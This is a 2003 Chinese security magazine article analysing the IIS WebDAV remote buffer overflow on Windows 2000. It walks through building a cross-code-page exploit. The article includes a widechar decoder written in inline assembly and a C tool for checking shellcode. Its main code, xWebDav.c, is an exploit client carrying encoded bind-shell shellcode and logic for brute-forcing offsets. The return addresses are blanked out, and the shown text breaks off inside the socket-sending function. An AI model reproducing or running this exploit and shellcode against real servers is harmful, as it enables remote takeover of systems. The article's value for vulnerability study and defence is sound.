首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第41期->技术专题
期刊号: 类型: 关键词:
WebDav漏洞简单分析及通用exploit设计

作者:ey4s <cooleyas@21cn.com>
日期:2003-06-03

拜读了isno写的<<WebDav远程溢出漏洞分析>>、<<通用的攻击WebDAV漏洞的方法>>,以及Nankia写的
<<Webdav漏洞ISNO方法的补充>>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试
机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别
是yuange所写的<<widechar的字符串缓冲溢出攻击技术>>。在这过程中我学到了很多东西,自己也有些心
得体会,其中可能有不少错误的地方,于是便想写下来,一来请各位高手多多指点,二来可以当做笔记供日
后参考(我记性不好:-))。
    
    建议各位在阅读了以上提及的文章后再继续往下看。以下测试是在windows 2000 简体中文版本进行的。


   -=-=-=- 第一部分 漏洞简单分析 -=-=-=-


    webdav溢出具体是怎么发生的我就不罗嗦了,请大家参考isno所写的文章,这里只简述一下。我们向
IIS发送如下数据:
    
    SEARCH /O HTTP/1.0
    Host:xxx
    Content-Type: text/xml
    Content-length: 3
    xxx

    IIS把我们请求的文件名转换成UNICODE,在前面加上路径,然后作为文件名参数传给了
GetFileAttributesExW(先加上路径再转换成UNICODE,还是转换成UNICODE再加路径,我没有仔细看,但这
并不重要)。假如IIS根目录是c:\inetpub\wwwroot,那么传递给GetFileAttributesExW的文件名就是
"\\?\c:\inetpub\wwwroot\O"的UNICODE形式,如下:
0197efe0  5c 00 5c 00 3f 00 5c 00-63 00 3a 00 5c 00 69 00  \.\.?.\.c.:.\.i.
0197eff0  6e 00 65 00 74 00 70 00-75 00 62 00 5c 00 77 00  n.e.t.p.u.b.\.w.
0197f000  77 00 77 00 72 00 6f 00-6f 00 74 00 5c 00 4f 00  w.w.r.o.o.t.\.O.
    
    漏洞引用关系如下:

    GetFileAttributesExW
    |__RtlDosPathNameToNtPathName_U
        |__RtlInitUnicodeString <-buff超过65535就会导致短整型数溢出
        |__在这后面的代码进行字符copy的时候就会触发堆栈溢出
    
    我们来看看UNICODE_STRING结构的定义:
    typedef struct _UNICODE_STRING
    {
      USHORT Length; <--这长度指的是buffer的字节数,并不是unicode字符的个数
      USHORT MaximumLength;
      PWSTR Buffer;
    } UNICODE_STRING *PUNICODE_STRING;

    从上面的分析我们可以看到,事实上只要我们保证($FileName+$IIS_Path)*2 > 65535就可以触发
存储buff长度的短整型数溢出,其中$FileName是我们提交的文件名(非UNICODE形式)。

  

    -=-=-=- 第二部分 关于widechar的字符串 -=-=-=-

    IIS在接收到我们发送的buff之后,会调用MultiByteToWideChar函数把我们的buff转换成widechar,
即UNICODE,用的CodePage是系统默认的CodePage,在简体中文系统上是936。在转换过程中,不符合
相应code page widechar范围的双字节字符会被替换掉,单字节字符会被转换成"\xXX\x00"的形式。

    怎么判断字符是单字节字符还是双字节字符?  简体中文、繁体中文、韩文、日文都是双字节语言,
即double-byte character set (DBCS)。上述四种语言双字节中的第一个字节都大于等于0x80。所以
某个字符如果大于等于0x80的话,那么后面就还有一个字节的字符一起跟这个字符组成一个完整"字符"。

    不信的话,可以写程序验证一下,调用一个API就可以了。
    The IsDBCSLeadByteEx function determines whether a specified byte is a lead byte
that is, the first byte of a character in a double-byte character set (DBCS).
    BOOL IsDBCSLeadByteEx(
      UINT CodePage,   // identifier of code page
      BYTE TestChar    // byte to test
    );

    假如我们发送的字符是"\x61\x81\x81"的话,用简体中文的CodePage经过MultiByteToWideChar函数
转换后就成了"\x61\x00\xXX\xXX",当然,前提是"\x81\x81"转换成Unicode后符合简体中文的wide
char范围。所以我们要确定shellcode在经过MultiByteToWideChar转换后,符合相应code page的wide
char范围。

    反复拜读了yuange的文章<<widechar的字符串缓冲溢出攻击技术>>后,由衷佩服yuange技术之高!
向他致敬!
    yuange在他的文章中提出:
    (1)把real shellcode编码成可见字符,即小于0x80。这样在经过MultiByteToWideChar转换后就成为
"\xXX\x00",字符不会被改变。
    (2)再精心编写一段符合相应code page widechar范围的代码,用这些代码来解码上述经过编码的
real shellcode。


    yuange在那篇文章里面还提供了一段解码shellcode的代码,这些代码符合简体中文WideChar范围。
后来台湾网友Nankia说这些代码在繁体中文上面无法使用,然后Nankia自己又写了个符合繁体中文
widechar范围的解码代码。

    后来我花了不少时间,在yuange发布的代码的基础上,修改了一些地方,写了一段符合简体中文、繁体
中文、韩文、日文 widechar范围的解码代码。以下是我测试这些解码代码是否符合相应widechar范围的
c代码。不知yuange和Nankia是怎么调试解码代码的??

-=-=-=-=-=-=-=-=-=-=-=-=-=-= CheckCode.c -=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-=
#include <windows.h>
#include <stdio.h>

#define CODE_CN        936// ANSI/OEM - Simplified Chinese (PRC, Singapore)
#define CODE_TW        950// ANSI/OEM - Traditional Chinese (Taiwan; Hong Kong SAR, PRC)
#define CODE_JP        932// ANSI/OEM - Japanese, Shift-JIS
#define CODE_Korean    949// ANSI/OEM - Korean (Unified Hangeul Code)
int        g_iCodePageList[]={936,950,932,949};
//如果为合法的wide char范围,则此byte值为1,否则为0
char    *g_szWideCharShort;

void checkcode(unsigned char *shellcode,int iLen);
void printsc(unsigned char *sc, int len);
BOOL MakeWideCharList();
void SaveToFile();
void  shellcodefnlock();

#define  FNENDLONG   0x08

void main()
{
    char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    unsigned    char    temp;
    unsigned    char    *shellcodefnadd;
    unsigned    char    shellcode[512];
    int            len,k;
    
    /* 定位 shellcodefnlock的汇编代码 */
    shellcodefnadd=shellcodefnlock;
    temp=*shellcodefnadd;
    if(temp==0xe9)
    {
          ++shellcodefnadd;
          k=*(int *)shellcodefnadd;
          shellcodefnadd+=k;
          shellcodefnadd+=4;
    }
    for(k=0;k<=0x500;++k)
         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
             break;
    /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
    len = 2*wcslen(shellcodefnadd+k+8);
    memcpy(shellcode,shellcodefnadd+k+8,len);

    if(!MakeWideCharList()) return;
    //SaveToFile();
    /*检测shellcode是否在合法的wide char范围*/
    checkcode(shellcode, len);
    //printsc(shellcode, len);
}

BOOL MakeWideCharList()
{
    unsigned char wbuff[4];
    unsigned char wbuff2[4];
    unsigned char buff[4];
    int         i,j,ret,k;

    g_szWideCharShort = (char *)malloc(65536);
    memset(g_szWideCharShort, 1 , 65536);

    for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1
    {
        printf("UseCodePage=%d\n",g_iCodePageList[k]);
        for(i=0;i<256;i++)//for 2
        {
            for(j=0;j<256;j++)//for 3
            {
                if((i==0) && (j==0)) j=1;
                memset(buff, 0, 4);
                memset(wbuff2, 0, 4);
                wbuff[0]=(BYTE)i;
                wbuff[1]=(BYTE)j;
                wbuff[2]=(BYTE)'\0';
                wbuff[3]=(BYTE)'\0';
                if(!(ret = WideCharToMultiByte(g_iCodePageList[k], 0,
(unsigned short *)wbuff, 1, buff, 2, 0,0)))        
                {
                    printf("WideCharToMultiByte error:%d\n",
GetLastError());
                    return FALSE;
                }
                if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0,
buff,strlen(buff), (unsigned short *)wbuff2, 1)))
                {
                    printf("MultiByteToWideChar error:%d %d\n",
GetLastError(), ret);
                    return FALSE;
                }
                //判断经过两次转换后是否改变,只要在任何一种code
page改变都视为非法wide char范围
                if(*(DWORD *)wbuff != *(DWORD *)wbuff2)
                    g_szWideCharShort[(BYTE)wbuff[0]*0x100 +
(BYTE)wbuff[1]] = (BYTE)'\0';
            }
            //getchar();
        }//end of for 2
    }//end of for 1
    return TRUE;
}

void SaveToFile()
{
    unsigned char    *g_pStr;
    FILE    *f;
    int        i,j,k;

    i=0;
    /*将允许的wide char范围保存在文本文件,便于调试时查询*/
    g_pStr = (unsigned char *)malloc(65536*6 +200);
    memset(g_pStr, 0, 65536*6+200);
    for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1
        i += sprintf(g_pStr+i, "UseCodePage=%d\n",g_iCodePageList[k]);
    for(j=0;j<65536;j++)
        if(g_szWideCharShort[j] != (BYTE)'\0')
            i += sprintf(g_pStr+i, "%.4X\n", j);
    f = fopen("c:\\w.txt", "w");
    fprintf(f, "%s", g_pStr);
    fclose(f);
    free(g_pStr);
}

void printsc(unsigned char *sc, int len)
{
    int    l;
    for(l=0;l<len;l+=1)
    {
        if(l==0) printf("\"");
        if((l%16 == 0) && (l!=0))printf("\"\n\"");
        printf("\\x%.2X", sc[l]);
        if(l==len-1) printf("\"");
    }
    printf("\n\n");
    for(l=0;l<len;l+=2)
    {
        if(l==0) printf("\"");
        if((l%16 == 0) && (l!=0))printf("\"\n\"");
        printf("%%u%.2X%.2X", sc[l+1], sc[l]);
        if(l==len-2) printf("\"");
    }
}

void checkcode(unsigned char *sc,int len)
{
    int    l;
    /*检测*/
    printf("\nstart check shellcode\n");
    for(l=0;l<len;l+=2)
    {
        printf("shellcode %.2X%.2X at sc[%.2d] sc[%.2d] ",
            sc[l], sc[l+1], l, l+1);
        if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)'\0')
            printf("not ");
        printf("allow.\n");
    }
    printf("Done.\n");
}

/*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/
/*相应对shellcode进行编码时要注意以此为准*/
#define  NOPCODE       0x4f//dec esi 0x4f='O' 0x4E='N'
#define  OFFSETNUM     0x8
#define  DATABASE      0x64
void  shellcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/

     dec    edi//无用代码,为迁就指令范围 4f
     jnz    unlockdataw//75 05
     jz        unlockdataw//74 03
     dec    esi//无用代码,为迁就指令范围 4e <--永远不会执行到此

     /*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/
     /*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/
     /*符合wide char范围的代码了*/
toshell:  
     /*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/
     ret//c3
     dec    edi//无用代码,为迁就指令范围 4f <--永远不会执行到此

unlockdataw:
    /*取得我们的decoder的起始地址*/
     push  ebx//53
    /*可以通用 push esp  */
    /*地址保存在esi*/
     NOP
     pop   esi//5e

/*定位从哪里开始解码*/
loopload:
     /*读取两个字节内容,以esi为索引*/
     lodsw//66 ad
     dec    esi//无用代码,为迁就指令范围 4e
     inc    esi//无用代码,为迁就指令范围 46
     dec    edi//无用代码,为迁就指令范围 4f

     inc    ebx//无用代码,为迁就指令范围 43
    /*判断是否已经达到待解码的字符处*/
     cmp  ax,0x6F97 // SHELLDATA 66 3d 97 6F    |
     NOP//无用代码,为迁就指令范围 90        |
     push    ecx//无用代码,为迁就指令范围 51    |
     NOP//无用代码,为迁就指令范围 90        |------>这边不能用影响标志位的指令
     pop    ecx//无用代码,为迁就指令范围 59    |
     jnz  loopload//75 F0            |
     push    ebx//无用代码,为迁就指令范围 53

    
     /*将待解码字符的起始地址传递至edi,解码后的字符也从此起始地址存放*/
     push esi//56
     pop  edi//5f
     dec    edx//无用代码,为迁就指令范围 4a    
     /*保存起始地址,注意后面push pop操作要均衡*/
     /*不然toshell中的ret指令就不能返回到解码后的shellcode了*/
     push    edi//57
     inc    ebx//无用代码,为迁就指令范围 43

/*开始解码*/
looplock:    
     /*读取两个字节内容,以esi为索引*/
     lodsw//66 ad
     push    eax//无用代码,为迁就指令范围 50  -------<<3>>
     inc    ebx//无用代码,为迁就指令范围 43
     /*判断是否已经全部解码完毕*/
     cmp  ax,NOPCODE// 66 3d 4f 00
     NOP
     pop    ecx//无用代码,为迁就指令范围 59 --------<<3>>还原堆栈操作
     jz   toshell//74 d5

     dec    esi//无用代码,为迁就指令范围 4e   ------<<1>>
     /*解码*/
     sub  al,DATABASE//2c 64
     /*保存至ecx*/
     push    eax//50
     pop    ecx//59
     inc    esi//无用代码,为迁就指令范围 46  -------<<1>>还原esi值
     dec    edi//无用代码,为迁就指令范围 4f  -------<<2>>
     inc    edi//无用代码,为迁就指令范围 47  -------<<2>>
     NOP       //无用代码,为迁就指令范围 90

     inc    ebx//无用代码,为迁就指令范围 43
     /*读取两个字节,以esi为索引*/
     lodsw//66 AD
     push    eax//无用代码,为迁就指令范围 50   -------<<4>>
     dec    ebx//无用代码,为迁就指令范围 4b
     pop    eax//无用代码,为迁就指令范围 58   -------<<4>>
     /*解码*/
     sub  al,DATABASE//2c 64

     /*--------------组合解码后的内容--------------------*/
     dec    edx//无用代码,为迁就指令范围 4a
     push    edi//57 保存edi,因为后面要用到              ----->>[1]
     /*将ecx值转移到edi*/
     push    ecx//51
     NOP//无用代码,为迁就指令范围 90
     NOP//无用代码,为迁就指令范围 90
     pop    edi//5f
     /* edi*0x10 */
     add    edi,edi//03 ff
     add    edi,edi
     add    edi,edi
     add    edi,edi
     /*将第二位解码的结果(eax) + 第一位(edi*0x10),运算得到最后结果*/
     xchg    eax,ecx//91
     add    ecx,edi//03 cf
     xchg    eax,ecx//91

     /*恢复edi值*/
     NOP//无用代码,为迁就指令范围 90
     pop    edi//5f           -------->>[1]
     /*将解码后的内容保存,以edi为索引*/
     stosb//aa
     NOP//无用代码,为迁就指令范围 90

     inc    ecx//无用代码,为迁就指令范围 41
     jz  looplock//74 ca            |
     NOP//无用代码,为迁就指令范围 90        |
     push    ecx//无用代码,为迁就指令范围 51    |--->不能用会影响标志位的指令
     NOP//90                |
     pop    ecx//无用代码,为迁就指令范围 59    |
     jnz looplock//75 c4
     dec    esi//无用代码,为迁就指令范围 4e 这代码永远不会执行
     /*解码代码结束标记*/
     _emit(0x97)
     _emit(0x6F)
     /**/
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     _emit(0x0)
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
    
    }
}

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=


    -=-=-=- 第三部分 IIS Path长度的问题 -=-=-=-

    webdav漏洞溢出点本来是固定的,但因为有IIS Path长度不确定这个问题,事实上这就成了溢出点
不确定的漏洞了。
    据我的理解,IIS Path长度造成溢出点不确定这种问题 ,我们可以用两种办法来解决:

    (1)采用yuange提出的半连续覆盖方法。不管IIS Path有多长,也不管它精确的溢出点,最多只要
猜测8次,让我们的jmp addr对准要覆盖的地方就可以了。事实上因为我们发送的字符要转换成为UNICODE,
所以最多只需要猜测四次就可以了。 优点:不需知道精确溢出点,只需猜测4次;缺点:可能要付出搞DOWN
3次IIS的代价。

    (2)猜测IIS Path的长度。我们要精确的控制发送的buff的长度,确定在path长度没有猜中的情况下不会
使IIS触发溢出。我们发送的buff结构如下:
    ($guess_path_len + )$nop_for_对齐_ret + $jmpover + $ret + $shellcode + $nop
    我们要保证上述buff在path没猜准的时候不溢出,但一但准确,不仅要使他溢出,而且要刚好让我们的
jmp addr覆盖在SEH或ret。这种情况,IIS path的长度我们只能从大往小猜。因为:
    假如path实际长度是20,我们猜是30,咱们发送的buff长度是 65536-30=65506,实际上此时服务
器处理的buff就是65506+20=65526字节了,溢出没发生。当我们从30猜到21的时候,溢出都不会发生,但
到了20的时候,溢出发生了,我们的jmp addr也刚好覆盖在我们指定的位置。
    反过来从小往大猜的时候,不管path猜没猜准,都会触发IIS溢出。


    后来测试的时候发现,并非buff超过65535就一定会触发堆栈溢出,但超过65535会导致短整型数溢出
这是肯定的。我们看看相关代码:

ntdll!RtlDosPathNameToNtPathName_U+3A:
77f8b036 push    dword ptr [ebp+0x8]
77f8b039 lea     eax,[ebp-0x30]
77f8b03c push    eax
77f8b03d call    ntdll!RtlInitUnicodeString (77f83c6d)
77f8b042 cmp     word ptr [ebp-0x30],0x8//判断长度是否小于等于8,是的话跳转
77f8b047 jbe ntdll!RtlDosPathNameToNtPathName_U+0x71 (77f8b056)
77f8b049 mov     eax,[ebp-0x2c]//ebp-0x2c存放的是buff的地址
77f8b04c cmp     word ptr [eax],0x5c//判断buff的第一位是否为'\',是的话跳转
77f8b050 je ntdll!RtlDosPathNameToNtPathName_U+0x56 (77f84049)
77f8b056 and     byte ptr [ebp-0x64],0x0
77f8b05a lea     eax,[ebp-0x270]

    
   因为传递给GetFileAttributesExW的文件名都是"\\?\c:\xx"形式,所以在上述77f8b050中肯定会跳转。
一跳转的话,就不能触发堆栈溢出了,原因?没有继续跟踪,有兴趣的朋友自己去跟踪吧。:)
    所以我们要让77f8b047处的代码跳转,即让UNICODE_STRING结构中的Length小于等于8。也就是说buff
长度要介于65536、65544之间。因buff是UNICODE形式,所以能触发堆栈溢出的buff长度就只有如下几个:
65536,65538,55540,65542,65544。后来发现buff长度为65536,即UNICODE_STRING结构中的Length为
0的时候,也不能触发堆栈溢出。所以,buff长度必须是65538、55540、65542、65544之一才会触发堆栈
溢出。

    有了这种长度限制,我们猜测IIS Path的时候,不但可以从大往小猜,而且可以从小往大猜,在我的
exploit中就是采用了后者。具体怎么猜我就不罗嗦了。



    -=-=-=- 第四部分 exploit -=-=-=-

    现在我们已经有了如下资源:
    <>简体中文、繁体中文、日文、韩文系统上通用的解码代码
    <>知道了怎么样精确的猜测出IIS Path长度,并且在猜中同时将jmp addr精确的覆盖在指定的地方。
    我们还需要:
    <>符合上述四种平台wide char范围的jmpover代码。这个简单。
    <>jmp addr地址。在我的exploit中采用的是覆盖SEH,所以jmpaddr可以用call ebx,
或push ebx;ret,前者容易在系统dll中找到,但后者就比较少了。注意:jmpaddr地址也必须符合相应平台
的wide char范围。找出各种平台通用的地址很难,至少我没有找到。但是我发现简体中文、繁体中文中某些
系统DLL是一样的,所以能找到相同的地址。在日文、韩文中也有某些系统DLL是一样的,也能找到相同的
地址。
    
    
-=-=-=-=-=-=-=-=-=-=-=-=-=-= xWebDav.c -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-=
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma  comment(lib,"ws2_32")
#define    NOPCODE                0x4F//0x4F//'O'
#define BUFFLEN                65536+8//传递给GetFileAttribeExW的buff长度
#define OVERPOINT            0x260//溢出点-0x14 SEH-0x4
#define    MaxTry                8//连接失败后重试次数
#define    DefaultOffset            23
#define    RecvTimeOut            30000//ms, 30s
#define    StartOffset            6
#define    EndOffset            80
#define    RetAddrNum            12//可用的ret addr数量
/*严重错误,程序退出*/
#define    ERROR_OTHER            0//other error
#define    ERROR_METHOD_NOT_SUPORT        1//no valu
#define    ERROR_NOT_IIS            2//not iis
/*继续猜测offset*/
#define    ERROR_RESOURCE_NOTFOUND        3//offset error
#define    ERROR_BAD_REQUEST        4//offset error?
/*成功了?*/
#define    ERROR_RECV_TIMEOUT        5//success?
/*尝试不同的ret addr*/
#define    ERROR_CONNECT_RESET        6//offset ok?但ret addr错误
#define    ERROR_CONNECT_FALIED        7//can't connect
//[100 bytes]
unsigned char    decoder[] =
"%u0000%u7409%u4E07%u584A%u9050%u4FC3%u9053%u665E"
"%u4EAD%u4F46%u6643%u973D%u906F%u9051%u7559%u53F0"
"%u5F56%u574A%u6643%u50AD%u6643%u4F3D%u9000%u7459"
"%u4ED5%u642C%u5950%u4F46%u9047%u6643%u50AD%u584B"
"%u642C%u574A%u9051%u5F90%uFF03%uFF03%uFF03%uFF03"
"%u0391%u91CF%u5F90%u90AA%u7441%u90CA%u9051%u7559"
"%u4EC4%u6F97";
/*绑定cmd的shellcode是从isno的exploit上copy过来的*/
unsigned char    xShellCode[]=
"mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq"
"ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh"
"immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm"
"momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej"
"rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil"
"mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl"
"lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi"
"pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl"
"pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd"
"gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd"
"oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg"
"ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik"
"pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph"
"jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs"
"mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri"
"sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj"
"mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk"
"sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf"
"rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj"
"shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk"
"jljljljldd";

unsigned char    jmpover[]="%u9041%u6841";//0x41 inc ecx , 0x68  push num32
unsigned int    g_iConnectError=0;

/*恕不提供此处数据*/
unsigned int    g_iRetAddrList[3][4]={
    {
        0,//call ebx addr at xx.dll in sp0_cn_tw,符合(cn、tw) wide char编码
        0,//call ebx addr at xx.dll in sp1_cn_tw,符合(cn、tw) wide char编码
        0,//call ebx addr at xx.dll in sp2_cn_tw,符合(cn、tw) wide char编码
        0//call ebx addr at xx.dll in sp3_cn_tw,符合(cn、tw) wide char编码
    },
    {
        0,//call ebx addr at xx.dll in sp0_jp_ko,符合(jp,ko) wide char编码
        0,//call ebx addr at xx.dll in sp1_jp_ko,符合(jp,ko) wide char编码
        0,//call ebx addr at xx.dll in sp2_jp_ko,符合(jp,ko) wide char编码
        0//call ebx addr at xx.dll in sp3_jp_ko,符合(jp,ko) wide char编码
    },
    {
        0,//call ebx addr at xx.dll in sp0_en,符合(cn、tw、jp、KO) wide char编码
        0,//call ebx addr at xx.dll in sp1_en,符合(cn、tw、jp、KO) wide char编码
        0,//call ebx addr at xx.dll in sp2_en,符合(cn、tw、jp、KO) wide char编码
        0//call ebx addr at xx.dll in sp3_en,符合(cn、tw、jp、KO) wide char编码
    }
};
int    SendBuffer(char *ip, int iPort, unsigned char *buff, int len);
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort);
void usage();

void main(int argc, char **argv)
{
    int                i, iRet,k,iOsType, iSP;
    unsigned int    iOffset,iPort,iStartOffset, iEndOffset,iCorrectOffset;
    char            *ip,*host;
    unsigned int    iRetAddrList[RetAddrNum], iRetAddrNum;

    memset(iRetAddrList, 0, sizeof(iRetAddrList));
    iRetAddrNum=0;
    ip=NULL;
    host=NULL;
    iPort=80;
    iOsType=-1;
    iSP=-1;
    iOffset=0;
    iCorrectOffset=0;

    if(argc<3)
    {
        usage();
        return;
    }
    for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            usage();
            return;
        }
        //检查是否缺少参数
        if(i == argc-1)
        {
            usage();
            return;
        }
        switch(argv[i][1])
        {
        case 'i':
            ip=argv[i+1];
            break;
        case 'h':
            host=argv[i+1];
            break;
        case 'p':
            iPort=atoi(argv[i+1]);
            break;
        case 't':
            iOsType=atoi(argv[i+1]);
            break;
        case 's':
            iSP=atoi(argv[i+1]);
            break;
        case 'o':
            iOffset=atoi(argv[i+1]);
            break;
        }
    }
    //检查参数
    if(!ip)
    {
        usage();
        return;
    }
    if(!host) host=ip;

    if(!iOffset)
    {
        iStartOffset = StartOffset;
        iEndOffset = EndOffset;
    }
    else
    {
        if((iOffset < StartOffset) || (iOffset > EndOffset))
        {
            usage();
            return;
        }
        else
        {
            iStartOffset = iOffset;
            iEndOffset = iOffset;
        }
    }

    if((iOsType > 2) || (iSP > 3))
    {
        usage();
        return;
    }
    //brute force
    if((iOsType == -1) && (iSP == -1))
    {
        memcpy(iRetAddrList, g_iRetAddrList, sizeof(iRetAddrList));
        iRetAddrNum = sizeof(iRetAddrList)/sizeof(int);
    }
    if((iOsType == -1) && (iSP != -1))
    {
        for(i=0;i<3;i++)
            iRetAddrList[iRetAddrNum++] = g_iRetAddrList[i][iSP];
    }
    if((iOsType != -1) && (iSP == -1))
    {
        for(i=3;i>=0;i--)
            iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][i];
    }
    if((iOsType != -1) && (iSP != -1))
        iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][iSP];

    printf( "IP\t\t:%s\n"
            "Host\t\t:%s\n"
            "Port\t\t:%d\n"
            "Offset\t\t:%d-%d\n"
            "iOffset\t\t:%d\n"
            "OsType\t\t:%d\n"
            "SP\t\t:%d\n"
            "RetAddrNum\t:%d\n",ip,host,iPort,iStartOffset, iEndOffset,
iOffset,iOsType,
            iSP,iRetAddrNum);
    for(i=0;i<iRetAddrNum;i++)
        printf("%.8X ", iRetAddrList[i]);
    printf("\nStart exploit[y/n]:");
    if (getchar() == 'n') return;

    k=0;
    for(i=iStartOffset;i<=iEndOffset;i++)
    {
        //如果是猜测offset,先试23
        if(i==StartOffset) i=DefaultOffset;
        else if((i==DefaultOffset) && (iOffset==0)) continue;
        printf("try offset:%d\tuse retaddr:0x%.8X\n", i, iRetAddrList[k]);
        iRet = MakeExploit(iRetAddrList[k], i, host, ip, iPort);

        switch(iRet)
        {
            case ERROR_NOT_IIS:
            case ERROR_METHOD_NOT_SUPORT:
            case ERROR_OTHER:
                exit(1);
                break;
            case ERROR_CONNECT_FALIED:
                printf("can't connect to %s:%d", ip, iPort);
                //第一次就连接不上,或超出最大重试次数
                if( (i==DefaultOffset) || (g_iConnectError > MaxTry) )
                {
                    printf(", exit.\n");
                    exit(1);
                }
                printf(", wait for try again.\n");
                Sleep(5000);    
                //same offset、retaddr try again
                i--;
                break;
            case ERROR_CONNECT_RESET:
                iCorrectOffset = i;
                break;
            case ERROR_RECV_TIMEOUT:
                printf("recv buff timeout.Maybe success?\n");
                exit(1);
                break;
        }
        if(i==DefaultOffset) i=6;
        if(iCorrectOffset) break;
        //getchar();
    }

    if(iCorrectOffset)
        printf( "-=-= we got correct offset:%d -=-=\n"
                "-=-= but retaddr %.8X error -=-=\n", iCorrectOffset,
iRetAddrList[k]);
    else return;

    if(iRetAddrNum<2) return;
    //尝试其他retaddr
    for(k=1;k<iRetAddrNum;k++)
    {
        Sleep(5000);
        printf("use offset:%d\ttry retaddr:0x%.8X\n", iCorrectOffset,
iRetAddrList[k]);
        iRet = MakeExploit(iRetAddrList[k], iCorrectOffset, host, ip, 80);
        switch(iRet)
        {
            case ERROR_CONNECT_FALIED:
                printf("can't connect to %s:%d", ip, iPort);
                if(g_iConnectError > MaxTry)
                {
                    printf(", eixt.\n");
                    exit(1);
                }
                else
                    printf(", wait for try again.\n");
                k--;
                break;
            case ERROR_CONNECT_RESET:
                printf("retaddr error, wait for try another.\n");
                break;
            case ERROR_RECV_TIMEOUT:
                printf("recv buff timeout.Maybe success?\n");
                exit(1);
                break;
            default:
                exit(1);
        }
    }
    printf("Done.\n");
}

int    SendBuffer(char *ip, int iPort, unsigned char *buff, int len)
{
    struct sockaddr_in sa;
    WSADATA    wsd;
    SOCKET    s;
    int        iRet, iErr;
    char    szRecvBuff[0x1000];
    int        i;

    iRet = ERROR_OTHER;
    memset(szRecvBuff, 0, sizeof(szRecvBuff));
    __try
    {
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }

        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("\nCreate socket failed:%d",GetLastError());
            __leave;
        }
        //set socket recv timeout
        i=RecvTimeOut;
        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));

        sa.sin_family=AF_INET;
        sa.sin_port=htons(iPort);
        sa.sin_addr.S_un.S_addr=inet_addr(ip);

        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            iRet = ERROR_CONNECT_FALIED;
            g_iConnectError++;
            __leave;
        }
        //reset flag
        g_iConnectError=0;
        iErr = send(s, buff, len,0);
        if(iErr == SOCKET_ERROR)
        {
